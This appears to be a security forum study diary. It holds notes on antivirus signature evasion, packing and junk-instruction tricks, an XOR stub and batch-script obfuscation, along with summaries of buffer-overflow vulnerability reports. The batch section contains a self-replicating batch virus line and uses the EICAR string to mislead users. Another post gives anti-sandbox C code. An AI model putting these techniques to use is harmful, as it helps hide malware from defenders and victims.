安全矩阵

 找回密码
 立即注册
搜索
查看: 9531|回复: 35

李文艺学习日记

[复制链接]

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
发表于 2020-2-18 20:34:19 | 显示全部楼层 |阅读模式
记录开始。
回复

使用道具 举报

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
 楼主| 发表于 2020-2-19 00:58:52 | 显示全部楼层
汇编:

特征码免杀基本方法:

常用的特征码修改的方法有(1)16进制差1  (2)大小写切换  (3)相同命令替换  (4)特征码移位  (5)通用跳转等。

16进制差1,大小写切换就不说了。相同命令替换就是将原有的汇编命令替换为功能相同的其他的命令。特征码移位就是将这处特征码移到别的地方或者将相邻两个命令替换,然后可能还要通过工具修改文件,来定位到这个特征码。通用跳转通过 jmp 命令来实现跳转,通常是改变入口点时用到,或者是在特征码的地方用 jmp 跳到别的地方,然后再跳回来(在 OD 中修改完成后,然后右键选择复制到可执行文件,所有修改,最后保存文件)。

修改入口点时有 入口点加1和 入口点移位。入口点加1就是用 LordPE 来将他的入口点加上 1 。入口点移位就是将它的入口点的前几句话移到别的地方(零区域),然后通过 jmp 跳到原有的地方继续执行,最后通过 LordPE 修改为新的入口点。

可以用 Restorator 来增加病毒的版本、数字签名,躲过一些杀毒软件的查杀。

修改相关的输入表。输入表是病毒调用的一些系统函数(dll),方法有函数指针移位,函数指针换位,重建输入表,  加空格法、NOP,     修改OriginalFirstThunk、日期时间标志、ForwarderChain    ,输入表加密等。函数指针移位、函数指针换位就不说了。重建输入表就是删去原来的输入表,然后重建一个输入表。还可在LordPE中修改OriginalFirstThunk、日期时间标志、ForwarderChain等。可以用一些输入表加密工具将输入表加密。

ASCII相关免杀(函数ASCII字符),有ASCII字符串手工移位,ASCII字符串手工填充和替换,ASCII码内存动态恢复,ASCII码XOR加密、解密。ASCII字符串手工移位要注意移位后在 LordPE 中修改函数的地址。ASCII字符串手工填充和替换就是替换两个 ASCII 字符串的位置,同样要注意修改地址。ASCII码内存动态恢复就是将原有的字符删除,然后再程序运行中将字符写入原有地址处,可以用 dword 一次写入四个字节,word一次写入两个字节。动态恢复时可以用jmp跳转到恢复字符的区域,再跳回来,也可以用call来跳转。ASCII码XOR加密、解密用两次xor来恢复原有字符。

添加花指令。有直接加花,去头加花,加区加花,SEH异常结合花指令,加壳加花等。直接加花就是直接将花指令写入程序,设置为入口点。去头加花就是将原入口点的前几句话移到别的地方。添加上花指令,然后再跳回原来的地方执行。加区加花就是用一个加区工具给文件新加上一个区段,然后再这个区段中写入我们的花指令。

还有各种加壳,加上壳之后根据壳的特性在改一下,还可以再加上另一个壳。套多重壳时要注意壳的兼容性是不是能加,加壳的顺序不同时结果也可能不同。

一段异或算法特征码加密分析:

pushad//把所有寄存器压入堆栈
mov ebx,xxxxxx //特征码的内存地址传送到ebx寄存器中
mov ecx, 5 //循环次数
mov eax,dword ptr [ebx]//把ebx所存放的内存地方传送给eax
xor eax,11111111 //进行加密
mov dword ptr [ebx],eax///把加密后的内容传送给ebx
add ebx,4 //ebx的内存地址增加4个字节
loopd short xxxxxx//跳转到 mov eax,dword ptr [ebx] 这个就是循环,刚才上面有个循环次数,2就表示这里循环2次
popad //把所有寄存器取出堆栈
jmp 原入口点//跳转到原入口点

乌云镜像文章总结:
1.通过搜索引擎发现域名被劫持,说明站群管理系统的页面管理(例如site.php)被篡改
2.cgi,fastcgi,php-fpm之间的关系
CGI:为了保证web server传递过来的数据是标准格式的,它是一个协议,方便CGI程序的编写者。Fastcgi是CGI的更高级的一种方式,是用来提高CGI程序性能的。
web server(如nginx)只是内容的分发者。比如,如果请求/index.html,那么web server会去文件系统中找到这个文件,发送给浏览器,这里分发的是静态资源。
如果现在请求的是/index.php,根据配置文件,nginx知道这个不是静态文件,需要去找PHP解析器来处理,那么他会把这个请求简单处理后交给PHP解析器。此时CGI便是规定了要传什么数据/以什么格式传输给php解析器的协议。
当web server收到/index.php这个请求后,会启动对应的CGI程序,这里就是PHP的解析器。接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以CGI规定的格式返回处理后的结果,退出进程。web server再把结果返回给浏览器。
那么CGI相较于Fastcgi而言其性能瓶颈在于,CGI针对每个http请求都是fork一个新进程来进行处理,处理过程包括解析php.ini文件,初始化执行环境等,然后这个进程会把处理完的数据返回给web服务器,最后web服务器把内容发送给用户,刚才fork的进程也随之退出。 如果下次用户还请求动态资源,那么web服务器又再次fork一个新进程,周而复始的进行。
而Fastcgi则会先fork一个master,解析配置文件,初始化执行环境,然后再fork多个worker。当请求过来时,master会传递给一个worker,然后立即可以接受下一个请求。这样就避免了重复的劳动,效率自然是高。而且当worker不够用时,master可以根据配置预先启动几个worker等着;当然空闲worker太多时,也会停掉一些,这样就提高了性能,也节约了资源。这就是Fastcgi的对进程的管理。大多数Fastcgi实现都会维护一个进程池。注:swoole作为httpserver,实际上也是类似这样的工作方式。
PHP-FPM:它是一个实现了Fastcgi协议的程序,用来管理Fastcgi起的进程的,即能够调度php-cgi进程的程序。现已在PHP内核中就集成了PHP-FPM,使用--enalbe-fpm这个编译参数即可。另外,修改了php.ini配置文件后,没办法平滑重启,需要重启php-fpm才可。此时新fork的worker会用新的配置,已经存在的worker继续处理完手上的活。
回复

使用道具 举报

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
 楼主| 发表于 2020-2-20 03:52:50 | 显示全部楼层
今天有其他事没写完,明天(20号7点之后)补两份。
回复

使用道具 举报

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
 楼主| 发表于 2020-2-21 03:07:19 | 显示全部楼层
19-20

乌云文章阅读总结(重复性漏洞已省略):

1.通过反汇编cgi文件获得传参源代码,分析代码得到sql注入漏洞

修复方法:给cgi文件设置权限

2.找回密码的验证码无时效次数限制,将APP反编译(未混淆),定位sign计算算法,分析程序的sign计算过程,按照过程拼接爆破验证码

修复建议:APP进行混淆

3.http加密算法破解

主要利用的特性:(对app进行分析)通过发送大量请求,对sign进行分析,24个字符长度的sign通过so库后得到34个整数的数组,而多出来的10个总是不变的,于是,只需要破解前24个字符然后加上多出来的10个固定整数即可,并整理破解字典

解决办法:将所有重要算法未入so库或其他保护

附注:.so文件的兼容性问题及解决办法

所有的x86/x86_64/armeabi-v7a/arm64-v8a设备都支持armeabi架构的.so文件,因此似乎移除其他ABIs的.so文件是一个减少APK大小的好技巧。但事实上并不是:这不只影响到函数库的性能和兼容性。

x86设备能够很好的运行ARM类型函数库,但并不保证100%不发生crash,特别是对旧设备。64位设备(arm64-v8a, x86_64, mips64)能够运行32位的函数库,但是以32位模式运行,在64位平台上运行32位版本的ART和Android组件,将丢失专为64位优化过的性能(ART,webview,media等等)。

以减少APK包大小为由是一个错误的借口,因为可以在应用市场上传指定ABI版本的APK,生成不同ABI版本的APK



汇编学习总结:

条件混淆方式:

1.jz与jnz组合使用,无意义,仅改变位置

2.db跳转时,在代码块中放入0e8h,由此解码出后四字节,可使反汇编出错(将code2视作前四字节视作目标地址)

典型结构:

```
db code1
lable:
code 2
```

花指令总结:

C++

push ebp
mov ebp,esp
push -1
push 111111
push 222222
mov eax,fs:[0]
push eax
mov fs:[0],esp
pop eax
mov fs:[0],eax
pop eax
pop eax
pop eax
pop eax
mov ebp,eax

VC++6.0:
push ebp
mov ebp,esp
PUSH -1
PUSH 0
PUSH 0
MOV EAX,DWORD PTR FS:[0]
PUSH EAX
MOV DWORD PTR FS:[0],ESP
SUB ESP,68
PUSH EBX
PUSH ESI
PUSH EDI
POP EAX
POP EAX
POP EAX
ADD ESP,68
POP EAX
MOV DWORD PTR FS:[0],EAX
POP EAX
POP EAX
POP EAX
POP EAX
MOV EBP,EAX
JMP 原入口

回复

使用道具 举报

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
 楼主| 发表于 2020-2-22 02:35:30 | 显示全部楼层
本帖最后由 ethereel 于 2020-2-23 03:07 编辑

21.搜集素材,查阅资料,尚未整理22.转载

批处理加密方法总结
1.编写能在LINUX与WINDOWS同时运行的BAT脚本
2.批处理脚本的加密解密
3.加入欺骗代码 (病毒代码测试)
4.代码中插入圾伪代码
5.BAT的免查杀
6.综合利用



1:编写能在LINUX与WINDOWS同时运行的BAT脚本

为什么能编写出这样的脚本?

因为BAT有一个特性,他会忽略一些简单的错误,(也就是错误的命令他只会返回一个错误信息,并不
退出BAT脚本,而是会执行下一个命令,直到全部命令执行完毕,不管对错!)
利用个特性我们就可以在脚本前面写上LINUX的shell脚本,让BAT忽略报错!
而LINUX的shell脚本是按顺序执行的,(他不忽略简单错误,遇到错误马上退出脚本,但是前面没报错的脚本会被执行)
遇到错误就会退出,把BAT脚本的命令下在LINUX shell脚本后面!!这样就能写出一个能在多操作系统运行的脚本!


具体编写:
这样的BAT脚本必须先在LINUX下先编写出LINUX部分的脚本代码!因为LINUX与WINDOWS的回车换行符号不一样,
所以如果直接在WINDOWS下编写完全部代码的话,将无法在LINUX   shell下执行脚本,(WINDOWS的回车换行符号会使命令错误)

例如: 在LINUX shell下输入:|   vi lin.bat           (用vi打开新建一个文件名为lin.bat的文件)
                           |   #!/bin/bash            (进入编辑状态后输入的内容)   
                           |   ls /
                           |

编写完保存后,将文件拿到WINDOWS下来用记事本打开,接着在后面加上一条net user命令
例如:                      | #!/bin/bash
ls /
      (这是WINDOWS读取在LINXU编写文件后的内容,不要修改!)
                           | net user     

保存好后,直接在WINDOWS下执行,这样在执行到net user时就会正确执行了,
在linux下用bash lin.bat执行后,执行到net user 时就会退出了!!
(本人已经测试过了!完全可以!)




2.批处理脚本的加密解密

批处理脚本的加密解密方法有多种,用得最多的是直接将bat转换成exe文件,大家直接到baidu搜索BAT转EXE,就知道怎么干了,
我今天教大叫其他一个简单的方法,直接将以下内容复制到一个空文文件里
%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a
@echo off
net user
net start


命令部分随便输入,但是命令后面不要有空格

破解方法:直接在cmd下用edit打开或者用word打开


原理:
记事本程序在保存一篇新建的文档时,如果没有指定编码类型,会使用缺省的ANSI类型(对于中文版来说,对应的就是GB码)。
而在打开一篇已创建的文档时,它会分析文档的编码类型,它首先判断文档头部有无BOM(Byte Order Mark,字节序标记,长
度为(2-3字节),如有则根据其内容判断编码类型,FF、FE(Unicode),FE、FF(Unicode big endian),EF、BB、BF(UTF-8)
因为事实上有很多非ANSI编码的文档是没有任何BOM的“纯文本”,所以对这些文档不能简单的判断为ANSI编码。
    而需要使用一系列的统计学算法根据文档内容来猜测文档编码。记事本使用了 IsTextUnicode 函数来判断是否为
Unicode/Unicode big endian 编码,使用 IsTextUTF8 判断是否为 UTF8 编码。但既然是统计学算法,就难免存在误判
,尤其在文档内容过短时,由于样本的容量太小,这种误判的概率会显著增大。比如那个有名的微软与联通有仇的笑话,
就是记事本在打开只有"联通"二字的ANSI编码文档时,IsTextUTF8 函数将其误判为UTF8编码[2];同样的误判也发生在
IsTextUnicode 函数上,比如具有 “this app can break”这种具有4335结构的文档,会被误判为 Unicode 编码[3][4]。
    需要说明的是,这种误判的可能性是建立在文本较短且其字节位特征不被干扰的前提上的。如果将上述的文本做稍许修改(即使只是增加一个回车),则误判很难再发生。
    而这种方法的特殊性在于,它的字节串不但具有Unicode特征,而且很长达到了1288字节,也就是说它的Unicode特征性很强,所以可以抵抗一些较短的不具有Unicode特征串的干扰,这是由统计学的规律所决定的。但是在干扰串稍长时,Unicode的特征将会受到显著干扰,直至被 IsTextUnicode 函数认定为非 Unicode。所以,有些朋友总是无法测试成功,应该是与附加的批处理代码长度和内容相关。
    因为其他的编辑器(比如 Word / Wordpad / EditPlus / UltraEdit)使用了更新的编码类型判断算法,所以在 Unicode 判断上改进了不少,而 UTF8 的判断仍然不尽如人意。但因为理论上来说完全准确地算法并不存在,所以我们只能依靠避免使用无BOM的非ANSI文档,或者打开文档时手动指定编码类型。
   另外,如果使用记事本保存了这些误判了编码类型的文件,则将难以恢复。如果使用误判编码保存,则将给原文档加上BOM标记,则使用其他编辑器也再无法观察到原文档。如果使用 ANSI 编码保存,则原文档将会被当作 Unicode 文档而被转换,还原的可能性接近于零。





3.加入欺骗代码

骗代码就是其他一些病毒的特征码,加到我们自己的程序中来,让杀毒软件报错病毒型号,达到欺骗用户的目录

我们可以在BAT中加入EICAR测试文件

他是来自EICAR的一个com文件(有兴趣的朋友可以到http://www.eicar.org/anti_virus_test_file.htm去看看),他是用来测试反病毒软件的杀毒能力的一个测试文件.

我们将EICAR加入BAT中后,BAT就会提示报毒,但是病毒类型是EICAR,这样反病毒软件的提示并不会引起人们的注意.
下面是EICAR测试文件的内容:

X5O!P%@AP[4/PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*


BAT病毒代码

for %%a in (*.bat) do copy %0 %%a





4.代码中插入圾伪代码

什么是"垃圾伪代码"?垃圾伪代码就是写在有效代码中间,但是在运行的时候没有任何作用的代码.
BAT中如何实现这一功能呢?很简单,我们只需要用set定义一个空变量就可以了
例如:
@echo off
set snj=
%snj%n%snj%%snj%%snj%e%snj%%snj%%snj%t%snj%%snj%%snj% %snj%%snj%%snj%u%snj%se%snj%%snj%%snj%%snj%r%snj%%snj%%snj%

看完上面的代码你知道我写的BAT内容是什么吗??
其实就是net user




5.BAT的免查杀

BAT的免查杀非常简单,一般杀毒软件对BAT的查杀只是检查一下前1000 Byte,看有没有特征码!
因为我们的BAT能忽略简单的错误,所以我们可以在前面胡乱加入一些命令,1000 Byte左右,这样就能免查杀了.
不过有时后这种方法不灵,那我们就得用到,代码中插入圾伪代码这个技巧了.
我演示一下!



6.综合利用

%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a
cls
@%ComSpec:~-1,1%%USERPROFILE:~5,1%h%HOMEPATH:~2,1%   off
%windir:~-1,1%%ComSpec:~-1,1%%tmp:~-4,1% snj=
%ALLUSERSPROFILE:~11,1%%snj%%ALLUSERSPROFILE:~8,1%%snj%t love=23nw)svt(05454s756efgdf%snj%54.4566gfr6z6
%windir:~-1,1%%ComSpec:~-1,1%%tmp:~-4,1% love=%love:v=e%
%ALLUSERSPROFILE:~11,1%%snj%%ALLUSERSPROFILE:~8,1%t love=%love=u%
%ALLUSERSPROFILE:~11,1%%ALLUSERSPROFILE:~8,1%t gad=%love:~2,1%%love:~6,1%%love:~-29,1%
%snj%%gad%%snj% %snj%%snj%us%love:~6,1%%love:~-4,1%%snj%%

大家一眼看不出这是什么命令了吧,其实这就是一条net user
利用了"代码中插入圾伪代码" 与 "批处理脚本的加密"
这个加密方法是读取系统变量值中指定的字母的方法

回复

使用道具 举报

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
 楼主| 发表于 2020-2-24 03:06:14 | 显示全部楼层
抗云沙箱检测代码:这里主要的思路是获取调用kernel32库中的CreateToolhelp32Snapshot函数获得一个进程快照信息,然后从快照中获取到explorer.exe的进程id信息,然后通过当前进程的pid信息在进程快照中找到其父进程的id信息,最后将两者进行比较,判断当前进程是否是有人工启动。
  1. DWORD get_parent_processid(DWORD pid)

  2. {

  3.        DWORDParentProcessID = -1;

  4.        PROCESSENTRY32pe;

  5.        HANDLEhkz;

  6.        HMODULEhModule = LoadLibrary(_T("Kernel32.dll"));

  7.        FARPROCAddress = GetProcAddress(hModule, "CreateToolhelp32Snapshot");

  8.        if(Address == NULL)

  9.        {

  10.               OutputDebugString(_T("GetProc error"));

  11.               return-1;

  12.        }

  13.        _asm

  14.        {

  15.               push0

  16.               push2

  17.               callAddress

  18.               movhkz, eax

  19.        }

  20.        pe.dwSize= sizeof(PROCESSENTRY32);

  21.        if(Process32First(hkz, &pe))

  22.        {

  23.               do

  24.               {

  25.                      if(pe.th32ProcessID == pid)

  26.                      {

  27.                             ParentProcessID= pe.th32ParentProcessID;

  28.                             break;

  29.                      }

  30.               }while (Process32Next(hkz, &pe));

  31.        }

  32.        returnParentProcessID;

  33. }

  34. DWORD get_explorer_processid()

  35. {

  36.        DWORDexplorer_id = -1;

  37.        PROCESSENTRY32pe;

  38.        HANDLEhkz;

  39.        HMODULEhModule = LoadLibrary(_T("Kernel32.dll"));

  40.        if(hModule == NULL)

  41.        {

  42.               OutputDebugString(_T("Loaddll error"));

  43.               return-1;

  44.        }

  45.        FARPROCAddress = GetProcAddress(hModule, "CreateToolhelp32Snapshot");

  46.        if(Address == NULL)

  47.        {

  48.               OutputDebugString(_T("GetProc error"));

  49.               return-1;

  50.        }

  51.        _asm

  52.        {

  53.               push0

  54.               push2

  55.               callAddress

  56.               movhkz, eax

  57.        }

  58.        pe.dwSize= sizeof(PROCESSENTRY32);

  59.        if(Process32First(hkz, &pe))

  60.        {

  61.               do

  62.               {

  63.                      if(_stricmp(pe.szExeFile, "explorer.exe") == 0)

  64.                      {

  65.                             explorer_id= pe.th32ProcessID;

  66.                             break;

  67.                      }

  68.               }while (Process32Next(hkz, &pe));

  69.        }

  70.        returnexplorer_id;

  71. }

  72. void domain() {

  73.        DWORDexplorer_id = get_explorer_processid();

  74.        DWORDparent_id = get_parent_processid(GetCurrentProcessId());

  75.        if(explorer_id == parent_id)//判断父进程id是否和explorer进程id相同

  76.        {

  77.               dowork();

  78.        }

  79.        else {

  80.               exit(1);

  81.        }

  82. }
复制代码

回复

使用道具 举报

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
 楼主| 发表于 2020-2-28 04:28:47 | 显示全部楼层
本帖最后由 ethereel 于 2020-2-28 04:39 编辑

## 乌云文章记录:

#### 白吃黑之KiTTYPortable最新版存在缓冲区溢出漏洞连接我主机可反控黑阔主机

分类:远程溢出

漏洞发现过程:通过远程代码执行,发现可控位置

漏洞原因:处理缓冲区的sscanf函数在处理传输过来的文件名字符串时,没有进行长度检查和长度控制,从而导致执行完sscanf之后参数缓冲区被覆盖,从而导致返回地址被覆盖,造成远程代码执行。

验证:OD带参数执行程序,检查堆栈接收到数据,编写shellcode

Exploit构造:找到PoC中,发送畸形字符串的关键位置,通过调整畸形字符串内容,确定覆盖ret地址改为jmp esp的准确位置,多次尝试后,发现偏移76字节的位置是ret地址将会被覆盖的位置

修复方案:在循环结构之后增加长度校验,或在sscanf执行时,对参数长度进行控制

####  android stagefright中可能导致读出界的整数溢出

分类:整数溢出

漏洞原因:底层代码逻辑不合理,限制条件为检查函数结束地址,但当大小非常大时,宏检查将通过,但实际上,范围长度已经超出设置的容量。这可能会导致以后处理时出现内存访问错误。

#### iOS日历特殊字符串溢出可导致iPhone白苹果(远程拒绝服务)

分类:字符串溢出

漏洞描述:iOS日历在解析显示名时,当遇到用户名有特殊字符组合时会发生字符串溢出,导致访问该日历事件直接闪退,在日历开始提醒前会一直白屏幕直到攻击时间结束。

而iOS的Today模块,即屏幕从上往下拉的界面,会因为实时扫描最新日历,当这个日历是某天第一个的时候,iOS设备会在当天凌晨0点开始白苹果,直至攻击时间结束。

#### 360压缩3.2.0.2030栈缓冲区溢出+空指针引用

分类:栈溢出

漏洞原因:设计不合理,没有考虑到多层文件夹的文件名长度

修复:使用_s拷贝函数

#### 百度COM控件BaiduSetupAx存在远程栈溢出漏洞

分类:远程栈溢出

原因:控件下载可重命名,改属性未验证长度

修复:增加参数长度限制内部拷贝代码,检查目标地址的大小

#### 永中Office 2013表格/文字/简报属性预览本地堆栈堆叠溢出

分类:本地栈溢出

原因:拷贝文件名时未作限制导致溢出

修复:增加参数长度限制内部拷贝代码,检查目标地址的大小

#### 北京银行浏览器控件存在堆栈溢出漏洞

分类:本地栈溢出

原因:参数长度未作限制导致溢出

修复:增加参数长度限制内部拷贝代码,检查目标地址的大小

#### 深信服缓冲区溢出本地权限提升漏洞

分类:本地栈溢出,提权

原因:对接收的数据进行处理时存在缓冲区溢出漏洞,可执行任意代码,最终本地权限提升

####  深信服缓冲区溢出拒绝服务漏洞

分类:远程溢出

原因:对接收的远程数据包未进行长度验证,存在缓冲区溢出漏洞,malloc申请的长度与拷贝的数据长度存在差异,导致拒绝服务

#### 21CN订单金额整型溢出漏洞

分类:设计不当
描述:云主机宽度选择无限制



另外关于分段加解密的问题,仔细看了下其他人的解答,能够理解,但和我对题目的理解不太一样。由于对题目的第一印象是“通用的”,所以之后就有些剑走偏锋,大致内容是采用了不同的加解密方式在loop里进行,但是仍然有很大启发,正在进一步改进




回复

使用道具 举报

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
 楼主| 发表于 2020-2-29 02:21:59 | 显示全部楼层
### 乌云文章阅读记录02.28

####  CMailServer Activex控件 CreateUserPath函数缓冲区溢出漏洞

类别:缓冲区溢出

字符串参数未进行检查,造成溢出

#### c-Free 5.0 对话框编辑器 缓冲区溢出漏洞

类别:缓冲区溢出

未对接收到的长度进行检测,造成缓冲区溢出。EIP可控。攻击者可以构造特定的.Dres文件,即可利用此漏洞执行任意想执行的程序。

#### Malx Media Player处理畸形m3u文件栈溢出本地任意代码执行

类别:本地栈溢出

Malx Media Player使用MAX_PATH作为参数初始化栈上变量,但是使用vfscanf时并没有考虑输入长度,导致栈溢出。

####  Windows XP 注册表编辑器 缓冲区溢出漏洞

类别:本地栈溢出

文件路径名解析错误(或由命名过长导致

#### FtpList(1.1.4)栈溢出漏洞

类别:本地栈溢出

在处理字符串的时候未对字符串大小检测,造成栈缓冲区溢出。可以淹没SEH链表,执行任意想执行的程序。

#### Windows XP处理CHM文件缓冲区溢出漏洞

类别:本地堆溢出

在处理CHM文件的时候,由于解析问题,造成堆溢出。

#### UCloud一处价格计算越界重叠支付金额变负数

类别:逻辑错误

UCloud一处价格越界重叠支付金额变负数,原因是由于没有对数字进行限制

#### 快播AVI格式堆溢出漏洞

类别:本地堆溢出

播放器未对对strf结果的datalen长度进行验证,如果avi格式的strf结构的datalen长度过大,会导致堆溢出。

#### DELPHI7缓冲区溢出漏洞

类别:本地溢出

在处理.res文件时候,未检测相应结构大小,造成缓冲区溢出。,

#### RADASM缓冲区溢出漏洞

类别:本地溢出

在处理.MNU、.RC、.DLG文件时未对结构大小进行检测,造成缓冲区溢出。

####  Microsoft Visual Basic 6.0 (SP5)缓冲区溢出漏洞

类别:本地溢出

处理.frm文件时候未对某数据进行大小检测。导致内存缓冲区溢出。

回复

使用道具 举报

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
 楼主| 发表于 2020-3-1 03:04:45 | 显示全部楼层
### 乌云文章笔记02.29

#### DEV-C++ 堆缓冲区溢出漏洞

类别:堆缓冲区溢出

描述:打开源代码时候未对数据格式大小进行检测,导致堆溢出

#### ResEdit 1.5.11缓冲区溢出漏洞

类别:缓冲区溢出

描述:该软件是一款资源编辑器。但是资源编辑的时候未对资源的大小做检测。因此可以构造特定的.RC文件,可让主程序缓冲区溢出,淹没SEH链表。执行shellcode。

#### 易语言缓冲区溢出漏洞(最新版本 5.11)

类别:缓冲区溢出

描述:攻击者可以构造特定的易语言源程序,打开后可淹没易语言程序返回地址,执行shellcode.

#### RADASM 堆栈缓冲区溢出漏洞

类别:缓冲区溢出

描述:RADASM软件包内某程序堆栈缓冲区溢出,可淹没SEH链表并可以修改SEH表。 攻击者可以构造特定的文件,修改SEH链表,即可利用此漏洞执行任意想执行的程序。

#### Sdemo2.0 栈溢出漏洞

类别:缓冲区溢出

描述:程序在密码验证的时候,取加密后的密码(下面称密文)放入内存栈中,在strcpy的时候,没有对密文进行长度检测。导致特定的程序可以造成栈的缓冲区溢出,淹没SEH链表。如果用户执行特定的smv文件,可能导致执行恶意代码。

#### 金山卫士一处栈溢出漏洞

类别:栈溢出

描述:函数返回地址计算错误

#### Firefox 23.0.1处理标签内存溢出拒绝服务漏洞

类别:缓冲区溢出

描述: 浏览器在对每个标签分配的内存会在最后统一释放,但是转为格式化后的数据的时候占用空间太大,导致最后几次分配失败,报错触发了BugReport。

#### Winsock Ftp Daemon内存溢出漏洞

类别:缓冲区溢出

描述:调用vsprintf之前没有判断目标缓冲区0x432130(只有200字节)的边界,用全局变量dword_4321F8给ecx赋值时(0040836B指令处),dword_4321F8已经被改写为用户输入命令,当输入的命令行超过172个字符(后接1个\n),程序发生访问异常。

#### 百度音乐本地版(TTPlayer5.0)存在所处堆栈溢出可执行任意代码

类别:缓冲区溢出

描述:皮肤文件处理逻辑中多处缺少长度检查存在堆栈溢出

#### 国元证券ActiveX溢出任意代码执行漏洞

类别:缓冲区溢出

描述:npGYZQ.dll 的UnProtectColor属性超长字符串溢出。

#### 迅雷BHO组件对缓冲区边界控制不严导致缓冲区溢出

类别:远程代码执行

描述:未判断缓冲区边界



附注:

### SafeSEH的保护措施

1. 检查异常处理链是否位于当前程序的栈中,如果不在当前栈中,程序将终止异常处理函数的调用
2. 检查异常处理函数指针是否指向当前程序的栈中。如果指向当前栈中,程序将终止异常处理函数的调用
3. 在前面两项检查之后,程序调用全新的函数RtlIsValidHandler(),来对异常处理函数的有效性进行检验。

- 首先该函数判断异常处理函数地址是不是在加载模块的内存空间,如果属于加载模块的内存空间,检校函数将依次进行如下判断:
  1. 判断程序设置IMAGE_DLLCHARACTERISTICS_NO_SEH标识。设置了,异常就忽略,函数返回校验失败。
  2. 检测程序是否包含SEH表。如果包含,则将当前异常处理函数地址与该表进行匹配,匹配成功返回校验成功,否则失败。
  3. 判断 程序是否设置ILonly标识。设置了,标识程序只包含.NET编译人中间语言,函数直接返回校验失败
  4. 判断异常处理函数是否位于不可执行页(non-executable page)上。若位于,校验函数将检测DEP是否开启,如若系统未开启DEP则返回校验成功;否则程序抛出访问违例的异常
- 如果异常处理函数的地址没有包含在加载模块的内存空间。校验函数将直接执行DEP相关检测,函数将依次进行如下检验:
  1. 判断异常处理函数是否位于不可执行页(non-executable page)上。若位于,校验函数将检测DEP是否开启,如若系统未开启DEP则返回校验成功;否则程序抛出访问违例的异常
  2. 判断系统是否允许跳转到加载模块的内存空间外执行,如允许则返回校验成功;否则返回校验失败
回复

使用道具 举报

5

主题

40

帖子

215

积分

中级会员

Rank: 3Rank: 3

积分
215
 楼主| 发表于 2020-3-2 01:42:11 | 显示全部楼层
### 乌云文章学习记录03.01

####  iNode远程缓冲区溢出以管理员权限执行任意代码0Day漏洞

类别:远程溢出

描述:该漏洞存在于iNode软件安装后的AuthenMngService.exe文件中,它以管理员权限运行,并开启了一个端口,该服务模块存在缓冲区溢出漏洞,攻击者可以远程发送UDP攻击数据包,触发漏洞溢出,执行攻击shell,可通过telnet登陆目标主机。漏洞在memcpy函数,拷贝的字节数有外部控制,因此传入恶意构造的数据,能够导致远程缓冲区溢出攻击。

####  iNode远程缓冲区溢出拒绝服务0Day漏洞

类别:远程溢出

描述:该漏洞存在于iNode软件安装后的AuthenMngService.exe文件中,它被注册为一个服务程序,以管理员权限运行,可接收网络上发送的udp数据包。漏洞位置为内存拷贝函数,拷贝数据长度字段可控,通过畸形数据就能导致远程拒绝服务攻击。

####  leapftp缓冲区溢出代码执行漏洞

类别:远程溢出

